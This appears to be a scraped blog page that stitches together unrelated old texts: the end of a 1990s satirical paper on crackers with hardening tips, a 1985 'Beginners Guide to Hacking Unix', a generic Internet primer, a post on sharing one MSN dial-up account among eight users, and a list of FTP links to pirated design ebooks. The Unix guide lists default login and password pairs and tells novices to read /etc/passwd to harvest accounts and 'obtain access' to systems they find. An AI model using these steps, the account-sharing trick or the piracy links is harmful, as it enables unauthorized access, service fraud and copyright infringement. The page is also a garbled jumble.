Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag
about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are
a uebercracker.)

Step 14. Wait a few months and have all your notes, etc ready in your room
for when the FBI, Secret Service, and other law enforcement agencies
confinscate your equipment. Call eff.org to complain how you were innocent
and how you accidently gotten someone else's account and only looked
because you were curious. (Whatever else that may help, throw at them.)

Step 15. Now for the true final supreme eliteness of all uebercrackers, you
go back to #hack and brag about how you were busted. YOU are finally a
true Uebercracker.

Now the next part of the paper is top secret. Please only pass to trusted
administrators and friends and even some trusted mailing lists, Usenet
groups, etc. (Make sure no one who is NOT in the inner circle of security
gets this.)

This is broken down on How to Become an UeberAdmin (otherwise know as a
security expert) and How to stop Uebercrackers.

Step 1. Read Unix manual ( a good idea for admins ).

Step 2. Very Important. chmod 700 rdist; chmod 644 /etc/utmp. Install
sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers
now. Rdist scripts is among the favorites for getting root by
uebercrackers.

Step 3. Okay, maybe you want to actually secure your machine from the
elite Uebercrackers who can break into any site on Internet.

Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing
packets. (This only applies to advanced admins who have control of the
router, but this will stop 90% of all uebercrackers from attempting your
site.)

Step 5. Apply all CERT and vendor patches to all of your machines. You have
just now killed 95% of all uebercrackers.

Step 6. Run a good password cracker to find open accounts and close them.
Run tripwire after making sure your binaries are untouched. Run tcp_wrapper
to find if a uebercracker is knocking on your machines. Run ISS to make
sure that all your machines are reasonably secure as far as remote
configuration (ie. your NFS exports and anon FTP site.)

Step 7. If you have done all of the following, you will have stopped 99%
of all uebercrackers. Congrads! (Remember, You are the admin.)

Step 8. Now there is one percent of uebercrackers that have gained
knowledge from reading some security expert's mail (probably gained access
to his mail via NFS exports or the guest account. You know how it is, like
the mechanic that always has a broken car, or the plumber that has the
broken sink, the security expert usually has an open machine.)

Step 9. Here is the hard part is to try to convince these security experts
that they are not so above the average citizen and that by now giving out
their unknown (except for the uebercrackers) security bugs, it would be a
service to Internet. They do not have to post it on Usenet, but share
among many other trusted people and hopefully fixes will come about and
new pressure will be applied to vendors to come out with patches.

Step 10. If you have gained the confidence of enough security experts,
you will know be a looked upto as an elite security administrator that is
able to stop most uebercrackers. The final true test for being a ueberadmin
is to compile a IRC client, go onto #hack and log all the bragging and
help catch the uebercrackers. If a uebercracker does get into your system,
and he has used a new method you have never seen, you can probably tell
your other security admins and get half of the replies like - "That bug
been known for years, there just isn't any patches for it yet. Here's my
fix." and the other half of the replies will be like - "Wow. That is very
impressive. You have just moved up a big notch in my security circle."
VERY IMPORTANT HERE: If you see anyone in Usenet's security newsgroups
mention anything about that security hole, Flame him for discussing it
since it could bring down Internet and all Uebercrackers will now have it
and the million other reasons to keep everything secret about security.

Well, this paper has shown the finer details of security on Internet. It has
shown both sides of the coin. Three points I would like to make that would
probably clean up most of the security problems on Internet are as the
following:

1. Vendors need to make security a little higher than zero in priority.
If most vendors shipped their Unixes already secure with most known bugs
that have been floating around since the Internet Worm (6 years ago) fixed
and patched, then most uebercrackers would be stuck as new machines get
added to Internet. (I believe Uebercracker is german for "lame copy-cat
that can get root with 3 year old bugs.") An interesting note is that
if you probably check the mail alias for "security@vendor.com", you will
find it points to /dev/null. Maybe with enough mail, it will overfill
/dev/null. (Look in manual if confused.)

2. Security experts giving up the attitude that they are above the normal
Internet user and try to give out information that could lead to pressure
by other admins to vendors to come out with fixes and patches. Most
security experts probably don't realize how far their information has
already spread.

3. And probably one of the more important points is just following the
steps I have outlined for Stopping a Uebercracker.

Resources for Security:
Many security advisories are available from anonymous ftp cert.org.
Ask archie to find tcp_wrapper, security programs. For more information
about ISS (Internet Security Scanner), email cklaus@shadow.net.

Acknowledgements:

Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott
Miles, Scott Yelich, and Henri De Valois.

Copyright:

This paper is Copyright 1993, 1994. Please distribute to only trusted
people. If you modify, alter, disassemble, reassemble, re-engineer or have
any suggestions or comments, please send them to:

cklaus@shadow.net

A BEGINNERS GUIDE TO Hacking Unix

2013-01-31T00:14:00.001+07:00

************************************** * A BEGINNERS GUIDE TO: * * H A C K I N G * * * * U N I X * * * * BY JESTER SLUGGO * * (NOTE: THIS IS WRITTEN IN 40 COL.) * * WRITTEN 10/08/85 * ************************************** IN THE FOLLOWING FILE, ALL REFERENCES MADE TO THE NAME UNIX, MAY ALSO BE SUBSTITUTED TO THE XENIX OPERATING SYSTEM. BRIEF HISTORY: BACK IN THE EARLY SIXTIES, DURING THE DEVELOPMENT OF THIRD GENERATION COMPUTERS AT MIT, A GROUP OF PROGRAMMERS STUDYING THE POTENTIAL OF COMPUTERS, DISCOVERED THEIR ABILITY OF PERFORMING TWO OR MORE TASKS SIMULTANEOUSLY. BELL LABS, TAKING NOTICE OF THIS DISCOVERY, PROVIDED FUNDS FOR THEIR DEVELOPMENTAL SCIENTISTS TO INVESTIGATE INTO THIS NEW FRONTIER. AFTER ABOUT 2 YEARS OF DEVELOPMENTAL RESEARCH, THEY PRODUCED AN OPERATING SYSTEM THEY CANLMD "UNIX". SIXTIES TO CURRENT: DURING THIS TIME BELL SYSTEMS INSTALLED THE UNIX SYSTEM TO PROVIDE THEIR COMPUTER OPERATORS WITH THE ABILITY TO MULTITASK SO THAT THEY COULD BECOME MORE PRODUCTIVE, AND EFFICIENT. ONE OF THE SYSTEMS THEY PUT ON THE UNIX SYSTEM WAS CALLED "ELMOS". THROUGH ELMOS MANY TASKS (I.E. BILLING,AND INSTALLATION RECORDS) COULD BE DONE BY MANY PEOPLE USING THE SAME MAINFRAME. NOTE: COSMOS IS ACCESSED THROUGH THE ELMOS SYSTEM. CURRENT: TODAY, WITH THE DEVELOPMENT OF MICRO COMPUTERS, SUCH MULTITASKING CAN BE ACHIEVED BY A SCALED DOWN VERSION OF UNIX (BUT JUST AS POWERFUL). MICROSOFT,SEEING THIS DEVELOPMENT, OPTED TO DEVELOP THEIR OWN UNIX LIKE SYSTEM FOR THE IBM LINE OF PC/XT'S. THEIR RESULT THEY CALLED XENIX (PRONOUNCED ZEE-NICKS). BOTH UNIX AND XENIX CAN BE EASILY INSTALLED
ON IBM PC'S AND OFFER THE SAME FUNCTION
(JUST 2 DIFFERENT VENDORS).

NOTE: DUE TO THE MANY DIFFERENT
VERSIONS OF UNIX (BERKLEY UNIX,
BELL SYSTEM III, AND SYSTEM V
THE MOST POPULAR) MANY COMMANDS
FOLLOWING MAY/MAY NOT WORK. I HAVE
WRITTEN THEM IN SYSTEM V ROUTINES.
UNIX/XENIX OPERATING SYSTEMS WILL
BE CONSIDERED IDENTICAL SYSTEMS BELOW.

HOW TO TELL IF/IF NOT YOU ARE ON A
UNIX SYSTEM: UNIX SYSTEMS ARE QUITE
COMMON SYSTEMS ACROSS THE COUNTRY.
THEIR SECURITY APPEARS AS SUCH:

LOGIN; (OR LOGIN;)
PASSWORD:

WHEN HACKING ON A UNIX SYSTEM IT IS
BEST TO USE LOWERCASE BECAUSE THE UNIX
SYSTEM COMMANDS ARE ALL DONE IN LOWER-
CASE.
LOGIN; IS A 1-8 CHARACTER FIELD. IT IS
USUALLY THE NAME (I.E. JOE OR FRED)
OF THE USER, OR INITIALS (I.E. J.JONES
OR F.WILSON). HINTS FOR LOGIN NAMES
CAN BE FOUND TRASHING THE LOCATION OF
THE DIAL-UP (USE YOUR CN/A TO FIND
WHERE THE COMPUTER IS).
PASSWORD: IS A 1-8 CHARACTER PASSWORD
ASSIGNED BY THE SYSOP OR CHOSEN BY THE
USER.
COMMON DEFAULT LOGINS
--------------------------
LOGIN; PASSWORD:
ROOT ROOT,SYSTEM,ETC..
SYS SYS,SYSTEM
DAEMON DAEMON
UUCP UUCP
TTY TTY
TEST TEST
UNIX UNIX
BIN BIN
ADM ADM
WHO WHO
LEARN LEARN
UUHOST UUHOST
NUUCP NUUCP

IF YOU GUESS A LGIN NAME AND YOU ARE
NOT ASKED FOR A PASSWORD, AND HAVE
ACCESSED TO THE SYSTEM, THEN YOU HAVE
WHAT IS KNOWN AS A NON-GIFTED ACCOUNT.
IF YOU GUESS A CORRECT LOGIN AND PASS-
WORD, THEN YOU HAVE A USER ACCOUNT.
AND, IF YOU GUESS THE ROOT PASSWORD,
THEN YOU HAVE A "SUPER-USER" ACCOUNT.
ALL UNIX SYSTEMS HAVE THE FOLLOWING
INSTALLED TO THEIR SYSTEM:
ROOT, SYS, BIN, DAEMON, UUCP, ADM
ONCE YOU ARE IN THE SYSTEM, YOU WILL
GET A PROMPT. COMMON PROMPTS ARE:

$
%
#

BUT CAN BE JUST ABOUT ANYTHING THE
SYSOP OR USER WANTS IT TO BE.

THINGS TO DO WHEN YOU ARE IN: SOME
OF THE COMMANDS THAT YOU MAY WANT TO
TRY FOLLOW BELOW:

WHO IS ON (SHOWS WHO IS CURRENTLY
LOGGED ON THE SYSTEM.)
WRITE NAME (NAME IS THE PERSON YOU
WISH TO CHAT WITH)
TO EXIT CHAT MODE TRY CTRL-D.
EOT=END OF TRANSFER.
LS -A (LIST ALL FILES IN CURRENT
DIRECTORY.)
DU -A (CHECKS AMOUNT OF MEMORY
YOUR FILES USE;DISK USAGE)
CD\NAME (NAME IS THE NAME OF THE
SUB-DIRECTORY YOU CHOOSE)
CD\ (BRINGS YOUR HOME DIRECTORY
TO CURRENT USE)
CAT NAME (NAME IS A FILENAME EITHER
A PROGRAM OR DOCUMENTATION
YOUR USERNAME HAS WRITTEN)
MOST UNIX PROGRAMS ARE WRITTEN
IN THE C LANGUAGE OR PASCAL
SINCE UNIX IS A PROGRAMMERS'
ENVIRONMENT.
ONE OF THE FIRST THINGS DONE ON THE
SYSTEM IS PRINT UP OR CAPTURE (IN A
BUFFER) THE FILE CONTAINING ALL USER
NAMES AND ACCOUNTS. THIS CAN BE DONE
BY DOING THE FOLLOWING COMMAND:

CAT /ETC/PASSWD

IF YOU ARE SUCCESSFUL YOU WILL A LIST
OF ALL ACCOUNTS ON THE SYSTEM. IT
SHOULD LOOK LIKE THIS:

ROOT:HVNSDCF:0:0:ROOT DIR:/:
JOE:MAJDNFD:1:1:JOE COOL:/BIN:/BIN/JOE
HAL::1:2:HAL SMITH:/BIN:/BIN/HAL

THE "ROOT" LINE TELLS THE FOLLOWING
INFO :
LOGIN NAME=ROOT
HVNSDCF = ENCRYPTED PASSWORD
0 = USER GROUP NUMBER
0 = USER NUMBER
ROOT DIR = NAME OF USER
/ = ROOT DIRECTORY

IN THE JOE LOGIN, THE LAST PART
"/BIN/JOE " TELLS US WHICH DIRECTORY
IS HIS HOME DIRECTORY (JOE) IS.

IN THE "HAL" EXAMPLE THE LOGIN NAME IS
FOLLOWED BY 2 COLONS, THAT MEANS THAT
THERE IS NO PASSWORD NEEDED TO GET IN
USING HIS NAME.

CONCLUSION: I HOPE THAT THIS FILE
WILL HELP OTHER NOVICE UNIX HACKERS
OBTAIN ACCESS TO THE UNIX/XENIX
SYSTEMS THAT THEY MAY FIND. THERE IS
STILL WIDE GROWTH IN THE FUTURE OF
UNIX, SO I HOPE USERS WILL NOT ABUSE
ANY SYSTEMS (UNIX OR ANY OTHERS) THAT
THEY MAY HAPPEN ACROSS ON THEIR
JOURNEY ACROSS THE ELECTRONIC HIGHWAYS OF AMERICA. THERE IS MUCH MORE TO BE LEARNED ABOUT THE UNIX SYSTEM THAT I HAVE NOT COVERED. THEY MAY BE FOUND BY BUYING A BOOK ON THE UNIX SYSTEM (HOW I LEARNED) OR IN THE FUTURE I MAY WRITE A PART II TO THIS........ Downloaded from P-80 Systems......

A Basic Guide to the Internet

2013-01-31T00:12:00.000+07:00

The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.

No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.

All computers on the Internet communicate with one another using the Transmission Control Protocol/Internet Protocol suite, abbreviated to TCP/IP. Computers on the Internet use a client/server architecture. This means that the remote server machine provides files and services to the user's local client machine. Software can be installed on a client computer to take advantage of the latest access technology.

An Internet user has access to a wide variety of services: electronic mail, file transfer, vast information resources, interest group membership, interactive collaboration, multimedia displays, real-time broadcasting, shopping opportunities, breaking news, and much more.

The Internet consists primarily of a variety of access protocols. Many of these protocols feature programs that allow users to search for and retrieve material made available by the protocol.

--------------------------------------------------------------------------------

COMPONENTS OF THE INTERNET

--------------------------------------------------------------------------------

WORLD WIDE WEB
The World Wide Web (abbreviated as the Web or WWW) is a system of Internet servers that supports hypertext to access several Internet protocols on a single interface. Almost every protocol type available on the Internet is accessible on the Web. This includes e-mail, FTP, Telnet, and Usenet News. In addition to these, the World Wide Web has its own protocol: HyperText Transfer Protocol, or HTTP. These protocols will be explained later in this document.

The World Wide Web provides a single interface for accessing all these protocols. This creates a convenient and user-friendly environment. It is no longer necessary to be conversant in these protocols within separate, command-level environments. The Web gathers together these protocols into a single system. Because of this feature, and because of the Web's ability to work with multimedia and advanced programming languages, the Web is the fastest-growing component of the Internet.

The operation of the Web relies primarily on hypertext as its means of information retrieval. HyperText is a document containing words that connect to other documents. These words are called links and are selectable by the user. A single hypertext document can contain links to many documents. In the context of the Web, words or graphics may serve as links to other documents, images, video, and sound. Links may or may not follow a logical path, as each connection is programmed by the creator of the source document. Overall, the Web contains a complex virtual web of connections among a vast number of documents, graphics, videos, and sounds.

Producing hypertext for the Web is accomplished by creating documents with a language called HyperText Markup Language, or HTML. With HTML, tags are placed within the text to accomplish document formatting, visual features such as font size, italics and bold, and the creation of hypertext links. Graphics and multimedia may also be incorporated into an HTML document. HTML is an evolving language, with new tags being added as each upgrade of the language is developed and released. The World Wide Web Consortium (W3C), led by Web founder Tim Berners-Lee, coordinates the efforts of standardizing HTML. The W3C now calls the language XHTML and considers it to be an application of the XML language standard.

The World Wide Web consists of files, called pages or home pages, containing links to documents and resources throughout the Internet.

The Web provides a vast array of experiences including multimedia presentations, real-time collaboration, interactive pages, radio and television broadcasts, and the automatic "push" of information to a client computer. Programming languages such as Java, JavaScript, Visual Basic, Cold Fusion and XML are extending the capabilities of the Web. A growing amount of information on the Web is served dynamically from content stored in databases. The Web is therefore not a fixed entity, but one that is in a constant state of development and flux.

For more complete information about the World Wide Web, see Understanding The World Wide Web.

E-MAIL
Electronic mail, or e-mail, allows computer users locally and worldwide to exchange messages. Each user of e-mail has a mailbox address to which messages are sent. Messages sent through e-mail can arrive within a matter of seconds.

A powerful aspect of e-mail is the option to send electronic files to a person's e-mail address. Non-ASCII files, known as binary files, may be attached to e-mail messages. These files are referred to as MIME attachments.MIME stands for Multimedia Internet Mail Extension, and was developed to help e-mail software handle a variety of file types. For example, a document created in Microsoft Word can be attached to an e-mail message and retrieved by the recipient with the appropriate e-mail program. Many e-mail programs, including Eudora, Netscape Messenger, and Microsoft Outlook, offer the ability to read files written in HTML, which is itself a MIME type.

TELNET
Telnet is a program that allows you to log into computers on the Internet and use online databases, library catalogs, chat services, and more. There are no graphics in Telnet sessions, just text. To Telnet to a computer, you must know its address. This can consist of words (locis.loc.gov) or numbers (140.147.254.3). Some services require you to connect to a specific port on the remote computer. In this case, type the port number after the Internet address. Example: telnet nri.reston.va.us 185.

Telnet is available on the World Wide Web. Probably the most common Web-based resources available through Telnet have been library catalogs, though most catalogs have since migrated to the Web. A link to a Telnet resource may look like any other link, but it will launch a Telnet session to make the connection. A Telnet program must be installed on your local computer and configured to your Web browser in order to work.

With the increasing popularity of the Web, Telnet has become less frequently used as a means of access to information on the Internet.

FTP
FTP stands for File Transfer Protocol. This is both a program and the method used to transfer files between computers. Anonymous FTP is an option that allows users to transfer files from thousands of host computers on the Internet to their personal computer account. FTP sites contain books, articles, software, games, images, sounds, multimedia, course work, data sets, and more.

If your computer is directly connected to the Internet via an Ethernet cable, you can use one of several PC software programs, such as WS_FTP for Windows, to conduct a file transfer.

FTP transfers can be performed on the World Wide Web without the need for special software. In this case, the Web browser will suffice. Whenever you download software from a Web site to your local machine, you are using FTP. You can also retrieve FTP files via search engines such as FtpFind, located at /http://www.ftpfind.com/. This option is easiest because you do not need to know FTP program commands.

E-MAIL DISCUSSION GROUPS
One of the benefits of the Internet is the opportunity it offers to people worldwide to communicate via e-mail. The Internet is home to a large community of individuals who carry out active discussions organized around topic-oriented forums distributed by e-mail. These are administered by software programs. Probably the most common program is the listserv.

A great variety of topics are covered by listservs, many of them academic in nature. When you subscribe to a listserv, messages from other subscribers are automatically sent to your electronic mailbox. You subscribe to a listserv by sending an e-mail message to a computer program called a listserver. Listservers are located on computer networks throughout the world. This program handles subscription information and distributes messages to and from subscribers. You must have a e-mail account to participate in a listserv discussion group. Visit Tile.net at /http://tile.net/ to see an example of a site that offers a searchablecollection of e-mail discussion groups.

Majordomo and Listproc are two other programs that administer e-mail discussion groups. The commands for subscribing to and managing your list memberships are similar to those of listserv.

USENET NEWS
Usenet News is a global electronic bulletin board system in which millions of computer users exchange information on a vast range of topics. The major difference between Usenet News and e-mail discussion groups is the fact that Usenet messages are stored on central computers, and users must connect to these computers to read or download the messages posted to these groups. This is distinct from e-mail distribution, in which messages arrive in the electronic mailboxes of each list member.

Usenet itself is a set of machines that exchanges messages, or articles, from Usenet discussion forums, called newsgroups. Usenet administrators control their own sites, and decide which (if any) newsgroups to sponsor and which remote newsgroups to allow into the system.

There are thousands of Usenet newsgroups in existence. While many are academic in nature, numerous newsgroups are organized around recreational topics. Much serious computer-related work takes place in Usenet discussions. A small number of e-mail discussion groups also exist as Usenet newsgroups.

The Usenet newsfeed can be read by a variety of newsreader software programs. For example, the Netscape suite comes with a newsreader program called Messenger. Newsreaders are also available as standalone products.

FAQ, RFC, FYI
FAQ stands for Frequently Asked Questions. These are periodic postings to Usenet newsgroups that contain a wealth of information related to the topic of the newsgroup. Many FAQs are quite extensive. FAQs are available by subscribing to individual Usenet newsgroups. A Web-based collection of FAQ resources has been collected by The Internet FAQ Consortium and is available at /http://www.faqs.org/.

RFC stands for Request for Comments. These are documents created by and distributed to the Internet community to help define the nuts and bolts of the Internet. They contain both technical specifications and general information.

FYI stands for For Your Information. These notes are a subset of RFCs and contain information of interest to new Internet users.

Links to indexes of all three of these information resources are available on the University Libraries Web site at /http://library.albany.edu/reference/faqs.html.

CHAT & INSTANT MESSENGING
Chat programs allow users on the Internet to communicate with each other by typing in real time. They are sometimes included as a feature of a Web site, where users can log into the "chat room" to exchange comments and information about the topics addressed on the site. Chat may take other, more wide-ranging forms. For example, America Online is well known for sponsoring a number of topical chat rooms.

Internet Relay Chat (IRC) is a service through which participants can communicate to each other on hundreds of channels. These channels are usually based on specific topics. While many topics are frivolous, substantive conversations are also taking place. To access IRC, you must use an IRC software program.

A variation of chat is the phenomenon of instant messenging. With instant messenging, a user on the Web can contact another user currently logged in and type a conversation. Most famous is America Online's Instant Messenger. ICQ, MSN and Yahoo are other commonly-used chat programs.

Other types of real-time communication are addressed in the tutorial Understanding the World Wide Web.

MUD/MUSH/MOO/MUCK/DUM/MUSE
MUD stands for Multi User Dimension. MUDs, and their variations listed above, are multi-user virtual reality games based on simulated worlds. Traditionally text based, graphical MUDs now exist. There are MUDs of all kinds on the Internet, and many can be joined free of charge. For more information, read one of the FAQs devoted to MUDs available at the FAQ site at

8 People Can Use The Same Msn Dial Up Account

2013-01-31T00:10:00.002+07:00

its easy really. want to have an entire family on dial-up with just one bill?

step one. purchase 20 dollar a month subscription to MSN unlimited access dial up. This will include an MSN 9 cd which you will need. With the software installed, fill up your secondary account slots with new users. Make sure you pick @msn if it gives you the choice, hotmail email addresses will not work..

say the secondary account is johnsmith@msn.com type in the Dial up connection

USER : MSN/johnsmith
PASS: ******* (whatever)

connect to your local msn phone number and the other people you gave secondary accounts to will be able to do the same, while you are connected. Its a sweet deal considering everyone is paying about 2 bucks a month for internet access, especially if you cannot get broadband. if you wanted to sell off the access to people you could actually make money doing this.. but i do not suggest it.

I used to be an msn tech and this was a little known secret even to most of the employees.

After you do this you do not need the software any more. I would suggest keeping it on to micromanage everyone else's accounts. and for the simple fact that if they don't pitch in, cut them off HEHEHE

i'm on broadband now so i dont care if i tell you my little secret. anyone else knew of this?

36 Graphics & Design Ebooks

2013-01-31T00:09:00.000+07:00

Here are the following Most useful website for Designer ..
Maya, Photoshop, Macromedia, Bryce, Digital Photography, & more....

Download with FlashGet

f*p://195.135.232.80/Books/design/8.books.Maya.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/A.Short.Course.in.Digital.Photography.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Adobe.Creative.Suite.Keyboard.Shortcuts.[by.KiN_www.netz.ru]_3,1.MB.rar
f*p://195.135.232.80/Books/design/Adobe.Photoshop.CS.in.10.Simple.Steps.or.Less.(2004).[by.KiN_www.netz.ru]_7,84 MB.rar
f*p://195.135.232.80/Books/design/Adobe.Photoshop.Tutorial.7.Day.Course.html.a.[28.84.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Advanced.3D.Photorealism.Techniques[9,76.MB_RUS_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Bill.Flemming.Advanced.3D.Photorealism.Techniques.[RUS].[by.KiN_www.netz.ru]_9,75 MB.rar
f*p://195.135.232.80/Books/design/Bryce.5.Manual.[by.KiN_www.netz.ru_4.01MB].rar
f*p://195.135.232.80/Books/design/Corel.103.tutorials.RUS.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Designing Secure Web-Based Applications for Windows 2000.zip
f*p://195.135.232.80/Books/design/DHTML.Weekend.Crash.Course[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Digital.Photography.Hacks.[by.KiN_www.netz.ru]_11,76.MB.rar
f*p://195.135.232.80/Books/design/How.To.Do.Everything.With.Illustrator.[by.KiN_www.netz.ru]_30,58.MB.rar
f*p://195.135.232.80/Books/design/How.To.Do.Everything.With.Photoshop.7.[by.KiN_www.netz.ru]_9,8 MB.rar
f*p://195.135.232.80/Books/design/How.To.Draw.Anime.Photoshop.Coloring.Tips.[by.KiN_www.netz.ru]_773 kB.rar
f*p://195.135.232.80/Books/design/How.To.Draw.Manga.Photoshop.Techniques.[by.KiN_www.netz.ru]_343 kB.rar
f*p://195.135.232.80/Books/design/How.To.Use.Adobe.Photoshop.7.[by.KiN_www.netz.ru]_14,66 MB.rar
f*p://195.135.232.80/Books/design/HTML.4.01.Weekend.Crash.Course[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/HTML.Complete.Course.[by.KiN_www.netz.ru]_26,79.MB.rar
f*p://195.135.232.80/Books/design/Learn.How.To.Draw.[by.KiN_www.netz.ru]_1,61.MB.rar
f*p://195.135.232.80/Books/design/Learn.HTML4.In.a.Weekend.[by.KiN_www.netz.ru]_11,02.MB.rar
f*p://195.135.232.80/Books/design/Learning.Macromedia.FlashMX.2004[658.kB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Dreamweaver.4.Bible[8,86.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Dreamweaver.MX.2004.Web.Application.Recipes[6,5.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Flash.MX.2004.ActionScript.Reference.Guide.rar
f*p://195.135.232.80/Books/design/Macromedia.Flash.MX.2004.Using.Components.rar
f*p://195.135.232.80/Books/design/Macromedia.Flashmx.Actionscript.Reference.Guide.2004[2,66.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Flashmx.Using.Components.2004[979.kB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Press.Macromedia.Dreamweaver.MX.Dynamic.Applications.[10.46.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/New.Riders.Photoshop.7.Power.Shortcuts.[by.KiN_www.netz.ru]_3,5 MB.rar
f*p://195.135.232.80/Books/design/NewRiders.MacromediaDreamweaverMx2004WebApplicationRecipes(6,5MB_www.netz.ru).rar f*p://195.135.232.80/Books/design/PhotoShop.&.Illustrator.Tutorial.[14.37.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Photoshop.6.Bible.[13.95.MB_www.netz.ru].rar f*p://195.135.232.80/Books/design/Photoshop.75.tutorial.RUS.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Photoshop.CS.Tips.and.Tricks.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Photoshop.Rus.4-18[6.5Mb,_www.netz.ru].rar